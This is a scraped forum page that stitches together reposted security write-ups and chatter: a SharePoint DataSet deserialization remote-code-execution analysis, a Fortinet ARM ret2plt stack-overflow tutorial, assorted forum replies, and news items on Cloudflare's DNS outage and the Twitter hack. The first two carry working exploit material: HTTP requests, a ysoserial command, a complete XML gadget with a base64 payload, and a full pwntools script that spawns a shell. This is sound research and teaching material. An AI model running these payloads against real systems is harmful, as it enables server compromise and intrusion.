o7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" /> However, I couldn’t figure out a way to trigger the DataTable property getter. I know I needed a way to use the DataSet, but I just didn’t know how too. Many Paths Lead to Rome The fustration! After going for a walk with my dog, I decided to think about this differently and I asked myself what other sinks are available. Then I remembered that the DataSet.ReadXml sink was also a source of trouble, so I checked the code again and found this valid code path: Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet() Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet) Inside of the ContactLinksSuggestionsMicroView class we can see the GetDataSet method: protected override DataSet GetDataSet() { base.StopProcessingRequestIfNotNeeded(); if (!this.Page.IsPostBack || this.Hidden) // 1 { return null; } DataSet dataSet = new DataSet(); DataTable dataTable = dataSet.Tables.Add(); dataTable.Columns.Add("PreferredName", typeof(string)); dataTable.Columns.Add("Weight", typeof(double)); dataTable.Columns.Add("UserID", typeof(string)); dataTable.Columns.Add("Email", typeof(string)); dataTable.Columns.Add("PageURL", typeof(string)); dataTable.Columns.Add("PictureURL", typeof(string)); dataTable.Columns.Add("Title", typeof(string)); dataTable.Columns.Add("Department", typeof(string)); dataTable.Columns.Add("SourceMask", typeof(int)); if (this.IsInitialPostBack) // 2 { this.PopulateDataSetFromSuggestions(dataSet); } else { this.PopulateDataSetFromCache(dataSet); // 3 } this.m_strJavascript.AppendLine("var user = new Object();"); foreach (object obj in dataSet.Tables[0].Rows) { DataRow dataRow = (DataRow)obj; string scriptLiteralToEncode = (string)dataRow["UserID"]; int num = (int)dataRow["SourceMask"]; this.m_strJavascript.Append("user['"); this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode)); this.m_strJavascript.Append("'] = "); this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture)); this.m_strJavascript.AppendLine(";"); } StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture); dataSet.WriteXml(stringWriter); SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString()); return dataSet; } At [1] the code checks that the request is a POST back request. To ensure this, an attacker can set the __viewstate POST variable, then at [2] the code will check that the __SUGGESTIONSCACHE__ POST variable is set, if it’s set, the IsInitialPostBack getter will return false. As long as this getter returns false, an attacker can land at [3], reaching PopulateDataSetFromCache. This call will use a DataSet that has been created with a specific schema definition. protected void PopulateDataSetFromCache(DataSet ds) { string value = SPRequestParameterUtility.GetValue<string>(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form); using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value))) { xmlTextReader.DtdProcessing = DtdProcessing.Prohibit; ds.ReadXml(xmlTextReader); // 4 ds.AcceptChanges(); } } Inside of PopulateDataSetFromCache, the code calls SPRequestParameterUtility.GetValue to get attacker controlled data from the __SUGGESTIONSCACHE__ request variable and parses it directly into ReadXml using XmlTextReader. The previously defined schema is overwritten with the attacker supplied schema inside of the supplied XML and deserialization of untrusted types occurs at [4], leading to remote code execution. To trigger this, I created a page that uses the ContactLinksSuggestionsMicroView type specifically: PUT /poc.aspx HTTP/1.1 Host: <target> Authorization: <ntlm auth header> Content-Length: 252 <%@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%> <escape:ContactLinksSuggestionsMicroView runat="server" /> If you are exploiting this bug as a low privlidged user and the AddAndCustomizePages setting is disabled, then you can possibly exploit the bug with pages that instantiate the InputFormContactLinksSuggestionsMicroView control, since it extends from ContactLinksSuggestionsMicroView. namespace Microsoft.SharePoint.Portal.WebControls { [SharePointPermission(SecurityAction.Demand, ObjectModel = true)] [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)] [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)] [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)] public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView { I found a few endpoints that implement that control (but I haven’t had time to test them) Update: Soroush Dalili tested them for me and confirmed that they are indeed, exploitable. /_layouts/15/quicklinks.aspx?Mode=Suggestion /_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion Now, to exploit it we can perform a post request to our freshly crafted page: POST /poc.aspx HTTP/1.1 Host: <target> Authorization: <ntlm auth header> Content-Type: application/x-www-form-urlencoded Content-Length: <length> __viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget> or POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1 Host: <target> Authorization: <ntlm auth header> Content-Type: application/x-www-form-urlencoded Content-Length: <length> __viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget> or POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1 Host: <target> Authorization: <ntlm auth header> Content-Type: application/x-www-form-urlencoded Content-Length: <length> __viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget> Note that each of these endpoints could also be csrfed, so credentials are not necessarily required. One Last Thing You cannot use the XamlReader.Load static method because the IIS webserver is impersonating as the IUSR account and that account has limited access to the registry. If you try, you will end up with a stack trace like this unless you disable impersonation under IIS and use the application pool identity: {System.InvalidOperationException: There is an error in the XML document. ---> System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. ---> System.Security.SecurityException: Requested registry access is not allowed. at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource) at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable) at Microsoft.Win32.RegistryKey.OpenSubKey(String name) at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue) at MS.Utility.EventTrace.IsClassicETWRegistryEnabled() at MS.Utility.EventTrace..cctor() --- End of inner exception stack trace --- at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1) at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes) at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader) at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode) at System.Windows.Markup.XamlReader.Load(XmlReader reader) at System.Windows.Markup.XamlReader.Parse(String xamlText) --- End of inner exception stack trace --- at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events) at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle) at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader) at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns) at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested) at System.Data.XmlDataLoader.LoadData(XmlReader reader) at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader) at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving) at System.Data.DataSet.ReadXml(XmlReader reader) at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds) at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet() at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj) You need to find another dangerous static method or setter to call from a type that doesn’t use interface members, I leave this as an exercise to the reader, good luck! Remote Code Execution Exploit Ok so I lied. Look the truth is, I just want people to read the full blog post and not rush to find the exploit payload, it’s better to understand the underlying technology you know? Anyway, to exploit this bug we can (ab)use the LosFormatter.Deserialize method since the class contains no interface members. To do so, we need to generate a base64 payload of a serialized ObjectStateFormatter gadget chain: c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint Now, we can plug the payload into the following DataSet gadget and trigger remote code execution against the target SharePoint Server! <DataSet> <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset"> <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="Exp_x0020_Table"> <xs:complexType> <xs:sequence> <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <somedataset> <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted"> <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ExpandedElement/> <ProjectedProperty0> <MethodName>Deserialize</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">/wEykwcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType> </MethodParameters> <ObjectInstance xsi:type="LosFormatter"></ObjectInstance> </ProjectedProperty0> </pwn> </Exp_x0020_Table> </somedataset> </diffgr:diffgram> </DataSet> Gaining code execution against the IIS process Conclusion Microsoft rate this bug with an exploitability index rating of 1 and we agree, meaning you should patch this immediately if you haven’t. It is highly likley that this gadget chain can be used against several applications built with .net so even if you don’t have a SharePoint Server installed, you are still impacted by this bug. References https://speakerdeck.com/pwntester/attacking-net-serialization https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance https://www.zerodayinitiative.com/advisories/ZDI-20-874/ Sursa: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
-
Tutorial of ARM Stack Overflow Exploit – Defeating ASLR with ret2plt By Kai Lu | July 17, 2020 FortiGuard Labs Threat Research Report The ARM architecture (a platform of RISC architectures used for computer processors) is widely used in developing IoT devices and smartphones. Understanding ARM platform exploits is crucial for developing protections against the attacks targeting ARM-powered devices. In this blog, I will present a tutorial of the ARM stack overflow exploit. The exploit target is stack6, which is a classic stack overflow vulnerability. By default, the ASLR feature is enabled on the target machine. ASLR (address space layout randomization) is a computer security technique used to prevent the exploitation of memory corruption vulnerabilities. This means that in order to complete a full exploit, an attacker first needs to defeat ASLR before performing code execution. Exploit and Debug Environment Raspberry PI 4B model 4GB: Raspberry Pi OS, armv7l GNU/Linux Debugger: GDB 9.2 with GEF Exploit Development Tool: pwntools Quick Look Let’s start by running the binary “stack6”. Inputting a very long text string when running stack6 could cause a segmentation fault. Figure 1. Running the binary stack6 The first thing we want to do is determine if ASLR is running on the targeted device. We can check the status of ASLR using Raspberry PI 4B by executing the command “sysctl kernel.randomize_va_space”. A value of 2 means the ASLR feature has been enabled. Figure2. Check the status of ASLR Next, we use the tool checksec to figure out what security mitigations the binary takes. We can see there’s no PIE (position independent executable) on it. This makes it possible to defeat ASLR with ret2plt(return to Procedure Linkage Table). Figure 3. Check security feature in the binary stack6 with checksec The logic of the program is pretty straightforward. Figure 4. The logic of the binary stack6 Now let’s take a look at what will happen when running this binary in GDB (GNU Debugger) as follows. We set a breakpoint at the address 0x0001054c(pop {r4, r11, pc}). Then we feed an 84-bytes string to the program. Figure 5. Debugging in GDB Next, the data 0x58585858 in the stack is popped into the pc (program counter) register. From this point on, we now control the pc register. Next, let’s take a close look at how to defeat ASLR using ret2plt. Figure 6. The controlled pc register Defeating ASLR with ret2plt In the prior section, we could see that there was no PIE (position-independent executable) on the binary stack6. That means that the mapping memory address of the image stack6 is fixed in the process space. This makes it possible to defeat ASLR with ret2plt. The binary directly uses the function printf(), so I decided to leak the address of the function printf() in libc.so. Since we have already controlled the pc register, we can utilize an ROP (return-oriented programming) chain to execute printf@PLT(printf@GOT) to leak the address of printf(). Both addresses of printf@PLT and printf@GOT are fixed due to there being no PIE in binary stack6. We then use the tool Ropper to discover two gadgets in the binary stack6 that meet our requirements. Figure 7. The two gadgets in the binary stack6 The addresses of printf@PLT and printf@GOT are shown as follows. Figure 8. The addresses of printf@PLT and printf@GOT The following is the code snippet of leaking the address of the function printf(). In the payload, it first executes printf@PLT(printf@GOT). As shown in Figure 7, it could continue to execute until the first gadget is executed once again. We next need to execute fflush@plt(0) in order to flush the output stream data. This makes sure the exploit program receives the leaking data. Once we get the leaking data, we can continue to perform the code execution. Figure 9. The code snippet of leaking printf() address The following is the leaking data, including the address of the function printf() in libc.so. We can now calculate the base address of libc.so. Figure 10. The leaking data Code Execution Stage In the above section, we successfully got the base address of libc.so. In this section, we will perform the code execution needed to get the shell. We can get the address of the system() call in the process space, and also find out the string “/bin/sh” in libc.so. The payload of this stage is set up as follows: Figure 11. The code snippet of performing code execution As shown in Figure 9, at the end of the leaking data’s payload the program execution was forced to again jump to the entry point. This makes the program re-execute. It is at this point that we feed it the code execution payload. When it executes to the instruction “pop {r4, r11, pc}” at the address 0x0001054c, the program jumps to the first gadget. We have crafted the data in the stack: the r3 register stores the address of the system() call and the r7 register points to the string “/bin/sh”. Next, it jumps to the second gadget. It moves the value of r7 to r0. At this point, the r0 register points to the string “/bin/sh”. When it executes the instruction “blx r3”, it finally calls the function system(“/bin/sh”) to invoke a shell. Figure 12. Getting the shell We run the exploit script twice, and can clearly see that the base address of libc.so varies when ASLR is on. At this point, we have completed the full exploit. Conclusion In this tutorial, we presented how to exploit a classic buffer overflow vulnerability when ASLR is enabled. Because the security mitigation PIE is not enabled in the target binary, it becomes possible to defeat ASLR using ret2plt and perform the full exploit. Solution If the PIE feature is added in the target binary, the above exploit will fail. We recommend that app developers enable PIE and other security mitigation features when developing apps for the ARM architecture. This way, even if a buffer overflow vulnerability exists in the app, it’s still difficult for attackers to develop a working exploit. Exploit Script Code from pwn import * printf_plt = 0x0001035c printf_got = 0x00020734 fflush_plt = 0x00010374 printf_offset_in_libc = 0x48430 system_offset_in_libc = 0x389c8 #0x0012bb6c db "/bin/sh", 0 binsh_offset_in_libc = 0x0012bb6c entry = 0x103b0 #start process sh = process("./stack6") payload = b'' payload += b'A'*80 #0x0001054c: pop {r4, r11, pc} //controlled pc #0x000105dc: pop {r3, r4, r5, r6, r7, r8, sb, pc}; //gadget1 #0x000105c4: mov r0, r7; mov r1, r8; mov r2, sb; blx r3; //gadget2 gadget1 = 0x000105dc gadget2 = 0x000105c4 payload += p32(gadget1) payload += p32(printf_plt) #r3, it stores the address of printf@plt payload += p32(0) #r4 payload += p32(0) #r5 payload += p32(0) #r6 payload += p32(printf_got) #r7, it stores the address of printf@got, it will be passed to printf@plt as a parameter payload += p32(0) #r8 payload += p32(0) #sb payload += p32(gadget2) #pc, it calls printf@plt(printf@got), leak the address of printf in libc.so payload += p32(fflush_plt) # r3, it stores the address of fflush@plt payload += p32(0) # r4 payload += p32(0) # r5 payload += p32(0) # r6 payload += p32(0) # r7, the paramter is 0. payload += p32(0) # r8 payload += p32(0) # sb payload += p32(gadget2) # pc, it calls fflush@plt(0) payload += p32(entry) # r3, it stores the address of the entry point payload += p32(0) # r4 payload += p32(0) # r5 payload += p32(0) # r6 payload += p32(0) # r7 payload += p32(0) # r8 payload += p32(0) # sb payload += p32(gadget2) # pc, it jumps to the entry point again, conitnues to execute until the code execution stage is performed. print("[*] The 1st stage payload: "+payload.hex()) sh.sendline(payload) recvdata = sh.recv() print("[*] recv data: {}".format(recvdata.hex())) printf_addr = u32(recvdata[96:100]) print("[*] Got printf address: " + str(hex(printf_addr))) print("[*] libc.so base address: " + str(hex(printf_addr-printf_offset_in_libc))) libc_base = printf_addr - printf_offset_in_libc system_addr = libc_base + system_offset_in_libc binsh_addr = libc_base + binsh_offset_in_libc print("[*] system address: "+ str(hex(system_addr))) print("[*] binsh address: "+ str(hex(binsh_addr))) payload = b'' payload += b'A'*80 payload += p32(gadget1) payload += p32(system_addr) #r3 points to system() payload += p32(0) #r4 payload += p32(0) #r5 payload += p32(0) #r6 payload += p32(binsh_addr) #r7 points to "/bin/sh" payload += p32(0) #r8 payload += p32(0) #sb payload += p32(gadget2) #pc, it will call system("/bin/sh") print("[*] The 2nd stage payload: "+payload.hex()) sh.sendline(payload) sh.interactive() sh.close() Reference https://azeria-labs.com/part-3-stack-overflow-challenges/ https://github.com/azeria-labs/ARM-challenges https://github.com/Gallopsled/pwntools https://github.com/hugsy/gef Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolio. Sign up for the weekly Threat Brief from FortiGuard Labs. Learn more about Fortinet’s free cybersecurity training initiative or about the Fortinet Network Security Expert program, Network Security Academy program, and FortiVet program. Sursa: https://www.fortinet.com/blog/threat-research/tutorial-of-arm-stack-overflow-exploit-defeating-aslr-with-ret2plt#.XxUp_7b4AVY.twitter
-
Da, nu o sa mai ai probleme.
-
Selecteaza Nothing si e de ajuns.
-
Microsoft to remove all SHA-1 Windows downloads next week
Nytro replied to Kev's topic in Stiri securitate
Hmm, nu stiam de chiar asa multe coliziuni, cel putin nu se compara (inca) cu md5, dar probabil e mai safe fara el. -
Eu mai vazusem ca CFR Cluj da in judecata o companie privata pentru teste Covid-19 fals pozitive. Sper doar sa nu fie infectati pe bune cainii mei! (Dinamo)
-
Poate un virus sa modifice structura unui dispozitv prin USB?
Nytro replied to grandson's topic in Discutii incepatori
La castile mele wireless (Jabra) se face update doar prin cablu USB (folosit pentru incarcare). Probabil e ceva comun, e mai sigur si mai practic prin cablu. -
Ce este acea iconita la wifi cu un lacat? (Windows 10 Pro)
Nytro replied to grandson's topic in Discutii incepatori
Ok, cred ca a inteles si de acum va cauta mai intai singur raspunsul la intrebari, iar daca nu va reusi, va putea sa ne intrebe pe forum. Pare ca incepe sa inteleaga incet-incet si terminologie si alte lucruri. -
Nu stiu nimic legat de facultatea din Brasov dar singurul motiv pentru care cineva ar trebui sa mearga la ASE il reprezinta fetele de acolo.
-
Eu ma gandeam la ceva de genul: https://tools.ietf.org/html/rfc2324 ( probabil scris de catre @aelius ) De asemenea ar trebui cumva limitata credibilitatea in articolele stiintifice pur teoretice (si greu sau imposibil de demonstrat, ca in teoriile consiratiilor). Desi de la ele ajung mari descoperiri (poate sute de ani mai tarziu) unele sunt pur si simplu idioate. Ori cercetatori care vor sa iasa in evidenta, ori cercetatori care de fapt vor sa descopere droguri noi. Legat de Covid au aparaut desigur sute de mici teorii, inclusiv despre cum se infecteaza o persoana, daca animalele se pot infecta etc. Desi unele erau teoretice, urmau un fir logic si daca le analizai putin ajungeai rapid la concluzia ca "se poate, pare foarte plauzibil". PS: Cercetatorul Nytro de la insitutul de cercetare stiintifica Romanian Security Team a descoperit o modalitate noua de raspandire a Covid-19. Acesta a creat un program informatic (denumit de catre cei din domeniu "Proof of Concept") prin care acesta infecteaza ca un virus routerele (dispozitivele pentru WiFi) si care foloseste undele de 5GHz ale acestora pentru a transmite infectia cu Covid-19 persoanelor din raza de actiune a acestora. Pana in prezent niciun centru ce cercetare nu a demonstrat ca acest lucru nu este posibil. Recomandam tuturor sa opreasca dispozitivele router si sa foloseasca porumbei pentru transferul datelor pe distante scurte.
-
De dat inteligentilor cu "Mor mai multi oameni de X decat de Covid": https://public.flourish.studio/visualisation/2944635/ Nu va asteptati insa sa inteleaga.
-
In general, aplicatiile descarcate de pe site-uri de incredere (oficiale), sunt de incredere. Daca ai descarcat de aici: https://www.kaspersky.com/downloads/thank-you/free-virus-removal-tool e sigur. Daca ai descarcat pe oriunde altundeva nu poti stii sigur. Asta e valabil cam pentru orice software, mai putin pentru cele dubioase. Adica un Gigel isi face un site "www.plmsoftware.com" prin care ofera gratis la descarcare solutia antivirus "Gigel Covid-19 for your PC Removal Tool" si pune un malware la descarcare.
-
Poate un virus sa modifice structura unui dispozitv prin USB?
Nytro replied to grandson's topic in Discutii incepatori
E mai socant ca faceau astfel de lucruri de dinainte de 2008. Pentru hardware, teoretic nu e nevoie de documentatie, probabil microprocesorul de pe device are o arhitectura standard si e documentat. Asta inseamna ca probabil se poate gasi public documentatie pentru pinii de debug (JTAG) prin care sa faca debugging la firmware realtime. De modificat probabil printr-un firmware update care destul de probabil nu era semnat. In prezent se pot face multe lucruri pentru a se preveni astfel de lucruri (mitigations, prevenire 100% nu exista) dar sunt costisitoare si cred ca foarte putini producatori de hardware au protectii la nivel de procesor sa nu permita debug, firmware cryptat in mediul de stocare si decryptat cu un TPMS, firmware-uri semnate si verificate cum trebuie etc. -
Cred ca e la caterinca. Sper
-
Poate un virus sa modifice structura unui dispozitv prin USB?
Nytro replied to grandson's topic in Discutii incepatori
Cazurile pe care le-am mentionat eu sunt doar teoretice. Adica ar putea exista, dar din alte motive nu prea exista: Nu au rost. Cu alte cuvine, daca tu ai fi un malware autor, te-ai chiunui nu stiu cat timp sa faci un astfel de virus si sa stii ca infecteaza DOAR daca utilizatorul conecteaza la device castile/tastatura FIX facute de firma X, versiunea Y? Ca nu ai cum sa faci ceva generic. Nu e deloc practic. De asemenea, ar merge doar in foarte putine cazuri in care: 1. Device-ul este atat de avansat incat are ceva de genul (e.g. eu am niste casti Jabra la care le pot face firmware update) 2. Exista o vulnerabilitate (sau problema de design) care permite update-ul cu un firmware nesemnat Si cel mai important: Daca infectezi acel device CE? Ce faci mai departe? De acolo nu prea poate pleca mai departe (si nici nu e comun sa se plimbe de la un device la altul). Adica acele casti (in cazul meu) ar putea sa redea niste injuraturi in locul manelelor pe care le ascult. Malware autorul nu prea are nimic de castigat l facerea asta. Doar daca ma uraste si nu mai vrea sa ascult manele -
Cred ca ar fi prea colorat si haotic. In plus, nu s-ar mai stii in care forum s-au scris lucruri noi.
-
Poate un virus sa modifice structura unui dispozitv prin USB?
Nytro replied to grandson's topic in Discutii incepatori
Si un antivirus poate face asta. Nu doar de la un RAT, de la orice. Si dai tu Allow sau Deny la fiecare conexiune. Trebuie sa mergi prin setari sa activezi asta. Acum multi ani foloseam ZoneAlarm pentru asta, dar cred ca sunt multe programe functionale pentru asa ceva. Ideal ar fi sa nu fie cazul. Sa nu descarcii mizerii de pe net care pot fi infectate. -
Cloudflare DNS goes down, taking a large piece of the internet with it Devin Coldewey@techcrunch / 12:50 am EEST•July 18, 2020 Image Credits: mith Collection/Gado / Getty Images Many major websites and services were unreachable for a period Friday afternoon due to issues at Cloudflare’s 1.1.1.1 DNS service. The outage seems to have started at about 2:15 Pacific time and lasted for about 25 minutes before connections began to be restored. Google DNS may also have been affected. Update: Cloudflare at 2:46 says “the issue has been identified and a fix is being implemented.” CEO Matthew Prince explains that it all came down to a bad router in Atlanta: The company also issued a statement via email emphasizing that this was not an attack on the system. “This afternoon we saw an outage across some parts of our network. It was not as a result of an attack,” the company said in a statement. “It appears a router on our global backbone announced bad routes and caused some portions of the network to not be available. We believe we have addressed the root cause and monitoring systems for stability now. We will share more shortly—we have a team writing an update as we speak.” Discord, Feedly, Politico, Shopify and League of Legends were all affected, giving an idea of the breadth of the issue. Not only were websites down but also some status pages meant to provide warnings and track outages. In at least one case, even the status page for the status page was down. A DNS, or Domain Name System, is an integral part of the web, connecting domains (like TechCrunch.com) to their IP addresses (such as 152.195.50.33). If the one you or a site use goes down, it doesn’t matter whether a website’s own servers are working or not — users can’t even reach them in the first place. Internet providers usually have their own, but they’re often bad, so alternatives like Google’s have existed for many years, and Cloudflare launched its service in late 2018. Cloudflare wrote in a tweet and an update to its own status page (which thankfully remained available) that it was “investigating issues with Cloudflare Resolver and our edge network in certain locations. Customers using Cloudflare services in certain regions are impacted as requests might fail and/or errors may be displayed.” Some of the services and sites also relied on Google’s Public DNS service (8.8.8.8), which appeared to be having simultaneous issues, but TechCrunch has not been able to directly confirm this. Google shows no interruption to services on its status dashboard. Despite much speculation as to the cause of the outage, there is no evidence that it was caused by a denial-of-service attack or any other form of malicious hackery. This story is developing — check back for updates. Sursa: https://techcrunch.com/2020/07/17/cloudflare-dns-goes-down-taking-a-large-piece-of-the-internet-with-it/?
-
Hackers Tell the Story of the Twitter Attack From the Inside Several people involved in the events that took down Twitter this week spoke with The Times, giving the first account of what happened as a pursuit of Bitcoin spun out of control. Twitter’s headquarters in San Francisco. Interviews indicate that an attack on well-known accounts was the work of a group of young people, not a nation or a sophisticated network.Credit...Jim Wilson/The New York Times By Nathaniel Popper and Kate Conger Published July 17, 2020Updated July 18, 2020, 12:08 a.m. ET OAKLAND, Calif. — A Twitter hacking scheme that targeted political, corporate and cultural elites this week began with a teasing message between two hackers late Tuesday on the online messaging platform Discord. “yoo bro,” wrote a user named “Kirk,” according to a screenshot of the conversation shared with The New York Times. “i work at twitter / don’t show this to anyone / seriously.” He then demonstrated that he could take control of valuable Twitter accounts — the sort of thing that would require insider access to the company’s computer network. The hacker who received the message, using the screen name “lol,” decided over the next 24 hours that Kirk did not actually work for Twitter because he was too willing to damage the company. But Kirk did have access to Twitter’s most sensitive tools, which allowed him to take control of almost any Twitter account, including those of former President Barack Obama, Joseph R. Biden Jr., Elon Musk and many other celebrities. Despite global attention on the intrusion, which has shaken confidence in Twitter and the security provided by other technology companies, the basic details of who were responsible, and how they did it, have been a mystery. Officials are still in the early stages of their investigation. But four people who participated in the scheme spoke with The Times and shared numerous logs and screen shots of the conversations they had on Tuesday and Wednesday, demonstrating their involvement both before and after the hack became public. The interviews indicate that the attack was not the work of a single country like Russia or a sophisticated group of hackers. Instead, it was done by a group of young people — one of whom says he lives at home with his mother — who got to know one another because of their obsession with owning early or unusual screen names, particularly one letter or number, like @y or @6. The Times verified that the four people were connected to the hack by matching their social media and cryptocurrency accounts to accounts that were involved with the events on Wednesday. They also presented corroborating evidence of their involvement, like the logs from their conversations on Discord, a messaging platform popular with gamers and hackers, and Twitter. Playing a central role in the attack was Kirk, who was taking money in and out of the same Bitcoin address as the day went on, according to an analysis of the Bitcoin transactions by The Times, with assistance from the research firm Chainalysis. But the identity of Kirk, his motivation and whether he shared his access to Twitter with anyone else remain a mystery even to the people who worked with him. It is still unclear how much Kirk used his access to the accounts of people like Mr. Biden and Mr. Musk to gain more privileged information, like their private conversations on Twitter. The hacker “lol” and another one he worked with, who went by the screen name “ever so anxious,” told The Times that they wanted to talk about their work with Kirk in order to prove that they had only facilitated the purchases and takeovers of lesser-known Twitter addresses early in the day. They said they had not continued to work with Kirk once he began more high-profile attacks around 3:30 p.m. Eastern time on Wednesday. “I just wanted to tell you my story because i think you might be able to clear some thing up about me and ever so anxious,” “lol” said in a chat on Discord, where he shared all the logs of his conversation with Kirk and proved his ownership of the cryptocurrency accounts he used to transact with Kirk. “lol” did not confirm his real-world identity, but said he lived on 